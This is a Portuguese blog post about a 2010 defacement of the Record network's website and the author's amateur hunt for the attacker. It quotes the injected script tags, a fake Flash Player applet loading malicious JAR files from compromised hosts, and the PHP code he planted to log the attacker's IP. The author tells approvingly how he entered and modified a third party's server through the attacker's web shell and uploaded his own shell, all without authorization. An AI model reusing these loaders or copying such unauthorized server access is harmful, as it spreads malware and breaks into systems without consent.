Invasor do site da Record, seguindo os rastros
Registrei o incidente com o site da Record aqui
há uma semana, o problema se repetiu por vários dias, enviei mensagens
para a Rede Record e não me responderam. Nem ao menos emitiram um
comunicado orientando os usuários que clicaram na mensagem maliciosa.
Como vocês se lembram, foi inserido esse código no site:
<ScRipT src="HTTP://www.anpal.org.br/_.js"></ScRipT>
Para o site www.anpal.org.br também enviei várias mensagens e nada. Estava “ownado” até hoje, como dizem.
Resolvi então realizar minha própria investigação do caso para tentar obter mais informações do invasor.
Já sabia que o site anpal.org.br possuía esses arquivos maliciosos:
http://www.anpal.org.br/_.js
http://www.anpal.org.br/Autorun.jar
http://www.anpal.org.br/home.jar
Na
maioria das vezes quando esses crackers invadem um site eles o usam
para distribuir malwares e spams. Para gerenciar os arquivos do site
invadido eles fazem upload de um shell na maioria das vezes codificado
em PHP, esse shell também é chamada de cmd.
Existem
muitos desses shells disponíveis na Internet (e muitos com backdoors),
alguns que conheço são: r57, c99, safeOver e bypass. A maioria é feita
no exterior, mas existem alguns nacionais também.
Então,
imaginando que o cracker fez upload de um shell desses no servidor da
ANPAL tentei descobrir o nome do arquivo, comecei pelos nomes mais
óbvios e já nas primeiras tentativas encontrei:
http://www.anpal.org.br/cmd.php
Bastante criativo o nome que ele colocou. :) Esse shell era nacional como se percebe pelo nome “By ShellBr 2oo7”.
Através do “cmd.php” eu obtive a listagem de todos os arquivos e pastas da raiz do site da ANPAL, que eram esses:
TMP46ytukc1gk.htm
images/
associados.php
leis.php
banner/
atualizar/
galeria.php
videos.php
saibamais.php
.htaccess
error_log
cell.php
contato.php
cadastro.php
home.jar
Autorun.jar
inscricao/
links.php
_.js
swf/
agenda.php
correio/
netuno.txt
estatuto.php
win.jar
mala/
cmd.php
filiacao.php
artigos.php
cadastrofinanceiro.php
Autorun2.jar
../
siteantigo/
admin/
noticias.php
banner.php
login.php
portal/
imagens/
mercurio.txt
index.php
index1.htm
temp/
net.js
cgi-bin/
edital.php
diretoria.php
noticiasvideo.php
Dessa lista identifiquei os seguintes arquivos como sendo maliciosos:
- cell.php
outro shell, r57, geralmente eles deixam várias cópias de backup
- home.jar
códigos Java para disseminar os malwares
- Autorun.jar
códigos Java para disseminar os malwares netuno.txt e mercurio.txt
- _.js
javascript que chama os arquivos home.jar e Autorun.jar
- netuno.txt
binário que se instala no computador da vítima com o nome de msnwin32.exe
- win.jar
outro arquivo malicioso, essa copiava o binário win.txt (que não existe
mais) e se instalava no computador da vítima com o nome de TaskServ.exe
- cmd.php
shell “By ShellBr 2oo7” utilizada pelo cracker
- Autorun2.jar
cópia do Autorun.jar
- mercurio.txt
binário que se instalava no computador da vítima com o nome de Imagen1.exe
- net.js
esse javascript possuía o seguinte código:
<applet name="Adobe Flash Player version 10.1.6" code="Main.class"
archive="http://186.195.32.16/site/img/home.jar" height="1" width="1">
<param name="link" value="http://186.195.32.16/site/img/Autorun.jar"></applet>
Esse
IP 186.195.32.16 é do site clicabrasilia.com.br, mais um comprometido
que o cracker invadiu. O arquivo home.jar nesse site ainda está
disponível e é o mesmo que estava no site da ANPAL.
Prosseguindo, eu queria ainda saber de onde o cracker estava acessando a Internet, lembrei da técnica que utilizei no artigo Hackeando o Hacker, resolvi usar ela para tentar descobrir o IP dele.
Essa
técnica consiste em inserir códigos PHP no shell que ele utiliza para
que toda vez que acessá-lo ficar registrada a hora, fuso horário e IP da
conexão. Para fazer isso resolvi utilizar o próprio shell para editar
ele mesmo (não foi uma ideia muito boa), que era o arquivo “cmd.php”, e
inserir esses códigos:
$nowt = date('r');
$errors_file = "error_log.txt";
$errors_handler = fopen($errors_file, 'a');
$errors_data = $nowt." - ".$_SERVER['REMOTE_ADDR']."\n";
fwrite($errors_handler, $errors_data);
fclose($errors_handler);
Feito
isso era esperar que o invasor acessasse o shell e conferir o arquivo
“error_log.txt” de vez em quando para ver se tinha capturado alguma
coisa.
Como está registrado nessa tela abaixo, às 20:27 ainda não havia nada.
Porém às 21:12 , acessei o “error_log.txt” novamente e estavam lá registradas várias conexões.
O IP da conexão dele era o 18.7.27.174. Ao consultar o WHOIS desse IP olha o que retornou a pesquisa:
OrgName: Massachusetts Institute of Technology
OrgId: MIT-2
Address: Room W92-167
Address: 77 Massachusetts Avenue
City: Cambridge
StateProv: MA
PostalCode: 02139-4307
Country: US
OrgId: MIT-2
Address: Room W92-167
Address: 77 Massachusetts Avenue
City: Cambridge
StateProv: MA
PostalCode: 02139-4307
Country: US
Esse
range de IP pertencia ao tão conhecido MIT, Massachusetts Institute of
Technology, o pessoal de computação conhece bem esse instituto.
A
princípio pensei se tratar de algum projeto de proxy anônimo que o MIT
apoiava ou coisa do tipo, mas ao digitar o IP no navegador vi que era o
IP de um site do MIT mesmo, o gsc.mit.edu, MIT Graduate Student Concil.
Resolvi então procurar no Google referências para esse IP, a busca retornou resultados muito interessantes:
Havia
alguns sites que possivelmente também tinham sido invadidos pelo mesmo
cracker, o sites www.spfc.net e www.jornaldaorla.com.br possuíam esse
código nos seus títulos:
<ScRipT src="http://18.7.27.174/_.js"></ScRipT>
Isso
quer dizer que o site do MIT também havia sido invadido e estava
hospedando malwares. Voltei ao site do MIT para ver se os malwares
estavam lá, o arquivo “_.js” não existia mais, mas tentei também o
Autorun.jar e esse eu encontrei:
O Autorun.jar do MIT apontava para o endereço:
http://www.woohoo.com.br/img/news_destaques/fotos.txt
E o fotos.txt seria salvo como winskype.exe, mas esses arquivos não estavam mais no ar.
No
site do MIT tentei descobrir mais informações de como o cracker invadiu
ou encontrar algum shell, não descobri muita coisa, apenas que o site
foi feito com o Joomla!.
Ficou
a dúvida, se o IP do cracker é o do MIT, então esse servidor deve estar
bem comprometido por permitir até navegar por ele, talvez ele
configurou ou encontrou um proxy no servidor e está utilizando. Uma
varredura com nmap poderia tirar algumas dúvidas, mas não cheguei a
fazer isso.
Ao
tentar acessar novamente o arquivo “error_log.txt” no site da ANPAL
onde ficavam registradas as conexões do cracker, para minha surpresa
havia sido apagado. :) O cracker tinha descoberto que eu alterei o shell
cmd.php dele e desativou o código. Talvez no código poderia ter alguma
função que avisava quando o arquivo era editado, não cheguei a procurar.
Não
satisfeito ainda, resolvi fazer upload no site da ANPAL de outro shell e
através dele apagar todos os arquivos maliciosos do site, deixar
somente a cmd.php e inserir novamente os códigos para pegar o IP do
cracker, quem sabe ele não acessaria de outro local, agora utilizei
outros nomes e salvei em outra pasta.
Apagando os arquivo JAR com rm-rf *.jar:
Inserindo os códigos novos no cmd.php:
Hoje ao acessar o novo arquivo de registro de conexões do cracker que estava em:
http://www.anpal.org.br/temp/temp.tmp
Novamente apareceu o IP do MIT:
Wed, 27 Oct 2010 09:41:28 -0200 – 18.7.27.174
Por
fim apaguei tudo, inclusive o cmd.php e o temp.tmp. Isso porém não
resolve o problema do site da ANPAL, a vulnerabilidade continua e se o
cracker quiser fazer tudo de novo ele consegue.
Enviei
um email ao webmaster do MIT avisando que o site dele estava sendo
usado para disseminar malwares. Muitos desses outros sites que citei
aqui ainda continuam infectados.
Pelo
que podemos ver essa invasão ao site da Record foi apenas mais uma da
lista desse cracker. Existem muitos sites comprometidos com esses
códigos maliciosos. Inclusive encontrei uma notícia em um outro Blog
falando que o site do Portal Terra também foi infectado pelo mesmo
código hospedado no MIT. Pode ser lida aqui:
É
isso aí, como disse minha esposa isso é um jogo de gato e rato. Bem
difícil para a polícia pegar esse indivíduo, tem que haver um trabalho
conjunto de cooperação entre as polícias de vários países. Talvez os
logs do servidor do MIT apresentem alguma informação relevante.
Não
sou especialista em todos esses assuntos, se alguém quiser contribuir
com o artigo adicionando novas informações sobre algum ponto que foi
citado aqui, sinta-se à vontade em deixar um comentário que depois
adiciono no post com os devidos créditos.